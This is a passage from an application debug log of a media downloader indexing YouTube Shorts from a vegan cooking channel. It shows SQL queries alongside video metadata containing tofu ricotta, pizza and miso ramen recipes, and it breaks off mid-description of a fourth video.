#plantstrong #plantprotein #plantshaveprotein #tofurecipes #ricottacheese #ricotta #tofuricotta", "duration" => 41, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-06-21 VEGAN RICOTTA CHEESE! 🧀/VEGAN RICOTTA CHEESE! 🧀 [uLN_D5uwQiM].NA", "id" => "uLN_D5uwQiM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uLN_D5uwQiM", "playlist_index" => 151, "timestamp" => 1687359466, "title" => "VEGAN RICOTTA CHEESE! 🧀", "upload_date" => "20230621"} 20:25:56.019 [debug] QUERY OK source="sources" db=1.5ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:56.019 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:56.023 [debug] QUERY OK source="media_items" db=3.9ms idle=3.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-21 14:57:46Z], 1] 20:25:56.026 [debug] QUERY OK source="media_items" db=1.7ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TOFU RICOTTA CHEESE 🧀 High-protein & plant-based goodness! 👊🏻 🌱\n\nCall it ricotta, call it cream cheese, call it *whatever* you want… IT’S AMAZING and I rarely buy vegan cream cheese anymore because this is is so cheap and easy to make at home 🏡 Spread it on toast or a bagel 🥯, in a wrap, stir into pasta 🍝, layer into lasagna, the options are ENDLESS! It’s really delicious and is packed with protein and nutrition 💪🏻\n\nSAVE ✔️ this recipe for later and follow me!\nTOFU RICOTTA - 8g protein per serving\n1 block extra firm tofu\n¼ cup nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n¼ cup or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n2. Spread 2 tbsp of the tofu ricotta on each slice of toasted bread, and top with sliced avocado and tomatoes, arugula and any other seasonings you like!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n#steamyvegankitchen #steamyvegan #tofulover #plantpowered #plantstrong #plantprotein #plantshaveprotein #tofurecipes #ricottacheese #ricotta #tofuricotta", "VEGAN RICOTTA CHEESE! 🧀", "9c7b4dcb-3119-4c97-bd1a-18a1c7387582", 1, [], 41, false, "uLN_D5uwQiM", "https://www.youtube.com/shorts/uLN_D5uwQiM", 151, "/downloads/downloads/alec/Steamy Vegan/2023-06-21 VEGAN RICOTTA CHEESE! 🧀/VEGAN RICOTTA CHEESE! 🧀 [uLN_D5uwQiM].NA", false, false, true, 1, ~U[2023-06-21 14:57:46Z], ~U[2026-03-22 03:25:56Z], ~U[2026-03-22 03:25:56Z], "TOFU RICOTTA CHEESE 🧀 High-protein & plant-based goodness! 👊🏻 🌱\n\nCall it ricotta, call it cream cheese, call it *whatever* you want… IT’S AMAZING and I rarely buy vegan cream cheese anymore because this is is so cheap and easy to make at home 🏡 Spread it on toast or a bagel 🥯, in a wrap, stir into pasta 🍝, layer into lasagna, the options are ENDLESS! It’s really delicious and is packed with protein and nutrition 💪🏻\n\nSAVE ✔️ this recipe for later and follow me!\nTOFU RICOTTA - 8g protein per serving\n1 block extra firm tofu\n¼ cup nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n¼ cup or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n2. Spread 2 tbsp of the tofu ricotta on each slice of toasted bread, and top with sliced avocado and tomatoes, arugula and any other seasonings you like!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n#steamyvegankitchen #steamyvegan #tofulover #plantpowered #plantstrong #plantprotein #plantshaveprotein #tofurecipes #ricottacheese #ricotta #tofuricotta", "VEGAN RICOTTA CHEESE! 🧀", 1, 41, false, "uLN_D5uwQiM", "https://www.youtube.com/shorts/uLN_D5uwQiM", "/downloads/downloads/alec/Steamy Vegan/2023-06-21 VEGAN RICOTTA CHEESE! 🧀/VEGAN RICOTTA CHEESE! 🧀 [uLN_D5uwQiM].NA", true, ~U[2023-06-21 14:57:46Z]] 20:25:56.026 [debug] QUERY OK source="sources" db=0.2ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:56.027 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:56.027 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [540] 20:25:56.028 [debug] Current batch of media processed. Will check again in 1000ms 20:25:57.029 [debug] Current batch of media processed. Will check again in 1000ms 20:25:58.030 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "If you're in a rush then just buying a simple store bought vegan and gluten free pizza crust is sometimes the easiest and most delicious way to make your pizza. See how I like to top my crust as a vegan who also eats gluten free in this short. \n\nAlso, don't forget to check out the full vegan lunch recipe video here: https://youtu.be/mc2qhzMw9Cg\n\nTOFU RICOTTA PIZZA\n1 pizza crust (store-bought, homemade, gluten-free if needed)\nVegan shredded cheese\nAs many sliced veggies as you like :)\nFor the ricotta:\n1 block extra firm tofu\n3 tbsp nutritional yeast\njuice of 1 lemon\n1½ tsp italian seasoning\n2 cloves garlic\n2 tbsp extra virgin olive oil\n1 tsp sea salt and pepper to taste\nup to ¼ cup plant milk\n\n1. Crumble the tofu into large pieces into a food processor, and add the remaining ingredients. Blend on high-speed until it forms a spreadable creamy texture. Add more liquid as needed if it's having trouble blending.\n2. Spread about ½ cup of the tofu ricotta on your pizza crust, this will be your base instead of pizza sauce. Alternatively, you could spread pizza sauce first, then add the tofu ricotta on top :)\n3. Add any variety of veggies and pizza toppings that you like plus some vegan cheese and bake for approximately 14-18 minutes at 425°F until the crust is golden and the cheese is melted.\n\nENJOY THIS VIDEO? DON'T FORGET TO LIKE AND SUBSCRIBE!", "duration" => 53, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-06-19 TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!/TOFU RICOTTA PIZZA 🍕 High-protein & plant-based! [XKgWt95Hw2A].NA", "id" => "XKgWt95Hw2A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XKgWt95Hw2A", "playlist_index" => 152, "timestamp" => 1687194960, "title" => "TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!", "upload_date" => "20230619"} 20:25:58.031 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=447.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:58.032 [debug] QUERY OK source="sources" db=0.6ms idle=448.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:58.035 [debug] QUERY OK source="media_items" db=2.3ms idle=449.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-19 17:16:00Z], 1] 20:25:58.037 [debug] QUERY OK source="media_items" db=1.1ms idle=452.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're in a rush then just buying a simple store bought vegan and gluten free pizza crust is sometimes the easiest and most delicious way to make your pizza. See how I like to top my crust as a vegan who also eats gluten free in this short. \n\nAlso, don't forget to check out the full vegan lunch recipe video here: https://youtu.be/mc2qhzMw9Cg\n\nTOFU RICOTTA PIZZA\n1 pizza crust (store-bought, homemade, gluten-free if needed)\nVegan shredded cheese\nAs many sliced veggies as you like :)\nFor the ricotta:\n1 block extra firm tofu\n3 tbsp nutritional yeast\njuice of 1 lemon\n1½ tsp italian seasoning\n2 cloves garlic\n2 tbsp extra virgin olive oil\n1 tsp sea salt and pepper to taste\nup to ¼ cup plant milk\n\n1. Crumble the tofu into large pieces into a food processor, and add the remaining ingredients. Blend on high-speed until it forms a spreadable creamy texture. Add more liquid as needed if it's having trouble blending.\n2. Spread about ½ cup of the tofu ricotta on your pizza crust, this will be your base instead of pizza sauce. Alternatively, you could spread pizza sauce first, then add the tofu ricotta on top :)\n3. Add any variety of veggies and pizza toppings that you like plus some vegan cheese and bake for approximately 14-18 minutes at 425°F until the crust is golden and the cheese is melted.\n\nENJOY THIS VIDEO? DON'T FORGET TO LIKE AND SUBSCRIBE!", "TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!", "40cd3a84-5d4e-481f-873d-bcf5fa9adb7d", 1, [], 53, false, "XKgWt95Hw2A", "https://www.youtube.com/shorts/XKgWt95Hw2A", 152, "/downloads/downloads/alec/Steamy Vegan/2023-06-19 TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!/TOFU RICOTTA PIZZA 🍕 High-protein & plant-based! [XKgWt95Hw2A].NA", false, false, true, 0, ~U[2023-06-19 17:16:00Z], ~U[2026-03-22 03:25:58Z], ~U[2026-03-22 03:25:58Z], "If you're in a rush then just buying a simple store bought vegan and gluten free pizza crust is sometimes the easiest and most delicious way to make your pizza. See how I like to top my crust as a vegan who also eats gluten free in this short. \n\nAlso, don't forget to check out the full vegan lunch recipe video here: https://youtu.be/mc2qhzMw9Cg\n\nTOFU RICOTTA PIZZA\n1 pizza crust (store-bought, homemade, gluten-free if needed)\nVegan shredded cheese\nAs many sliced veggies as you like :)\nFor the ricotta:\n1 block extra firm tofu\n3 tbsp nutritional yeast\njuice of 1 lemon\n1½ tsp italian seasoning\n2 cloves garlic\n2 tbsp extra virgin olive oil\n1 tsp sea salt and pepper to taste\nup to ¼ cup plant milk\n\n1. Crumble the tofu into large pieces into a food processor, and add the remaining ingredients. Blend on high-speed until it forms a spreadable creamy texture. Add more liquid as needed if it's having trouble blending.\n2. Spread about ½ cup of the tofu ricotta on your pizza crust, this will be your base instead of pizza sauce. Alternatively, you could spread pizza sauce first, then add the tofu ricotta on top :)\n3. Add any variety of veggies and pizza toppings that you like plus some vegan cheese and bake for approximately 14-18 minutes at 425°F until the crust is golden and the cheese is melted.\n\nENJOY THIS VIDEO? DON'T FORGET TO LIKE AND SUBSCRIBE!", "TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!", 1, 53, false, "XKgWt95Hw2A", "https://www.youtube.com/shorts/XKgWt95Hw2A", "/downloads/downloads/alec/Steamy Vegan/2023-06-19 TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!/TOFU RICOTTA PIZZA 🍕 High-protein & plant-based! [XKgWt95Hw2A].NA", true, ~U[2023-06-19 17:16:00Z]] 20:25:58.038 [debug] QUERY OK source="sources" db=0.7ms idle=49.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:58.038 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:58.039 [debug] QUERY OK source="media_items" db=0.2ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [541] 20:25:58.039 [debug] Current batch of media processed. Will check again in 1000ms 20:25:59.040 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan ramen recipe is going to change your life! It's creamy, dreamy, steamy, gleamy and oh so sunbeamy. It's also gluten free and vegan so it's pretty much guilt free.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel for more vegan and gluten free recipes! 🤩\n\nCREAMY MISO MUSHROOM RAMEN - serves 2 to 4\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-06-17 Vegan miso mushroom ramen 🍜🤤❤️/Vegan miso mushroom ramen 🍜🤤❤️ [w7b3PP6kTzM].NA", "id" => "w7b3PP6kTzM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/w7b3PP6kTzM", "playlist_index" => 153, "timestamp" => 1687012320, "title" => "Vegan miso mushroom ramen 🍜🤤❤️", "upload_date" => "20230617"} 20:25:59.041 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:59.043 [debug] QUERY OK source="sources" db=1.2ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:59.045 [debug] QUERY OK source="media_items" db=2.7ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-17 14:32:00Z], 1] 20:25:59.048 [debug] QUERY OK source="media_items" db=1.4ms idle=1006.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan ramen recipe is going to change your life! It's creamy, dreamy, steamy, gleamy and oh so sunbeamy. It's also gluten free and vegan so it's pretty much guilt free.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel for more vegan and gluten free recipes! 🤩\n\nCREAMY MISO MUSHROOM RAMEN - serves 2 to 4\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).", "Vegan miso mushroom ramen 🍜🤤❤️", "027bdf28-01a2-41b9-a160-461255641fe3", 1, [], 15, false, "w7b3PP6kTzM", "https://www.youtube.com/shorts/w7b3PP6kTzM", 153, "/downloads/downloads/alec/Steamy Vegan/2023-06-17 Vegan miso mushroom ramen 🍜🤤❤️/Vegan miso mushroom ramen 🍜🤤❤️ [w7b3PP6kTzM].NA", false, false, true, 1, ~U[2023-06-17 14:32:00Z], ~U[2026-03-22 03:25:59Z], ~U[2026-03-22 03:25:59Z], "This vegan ramen recipe is going to change your life! It's creamy, dreamy, steamy, gleamy and oh so sunbeamy. It's also gluten free and vegan so it's pretty much guilt free.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel for more vegan and gluten free recipes! 🤩\n\nCREAMY MISO MUSHROOM RAMEN - serves 2 to 4\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).", "Vegan miso mushroom ramen 🍜🤤❤️", 1, 15, false, "w7b3PP6kTzM", "https://www.youtube.com/shorts/w7b3PP6kTzM", "/downloads/downloads/alec/Steamy Vegan/2023-06-17 Vegan miso mushroom ramen 🍜🤤❤️/Vegan miso mushroom ramen 🍜🤤❤️ [w7b3PP6kTzM].NA", true, ~U[2023-06-17 14:32:00Z]] 20:25:59.050 [debug] QUERY OK source="sources" db=1.3ms idle=55.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:59.051 [debug] QUERY OK source="media_profiles" db=0.5ms idle=9.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:59.056 [debug] QUERY OK source="media_items" db=4.1ms idle=8.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [542] 20:25:59.056 [debug] Current batch of media processed. Will check again in 1000ms 20:26:00.057 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "VEGAN BBQ CHICK'N CAESAR WRAP! So easy, delicious and full of plant-based goodness. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nBBQ CHICK'N CAESAR 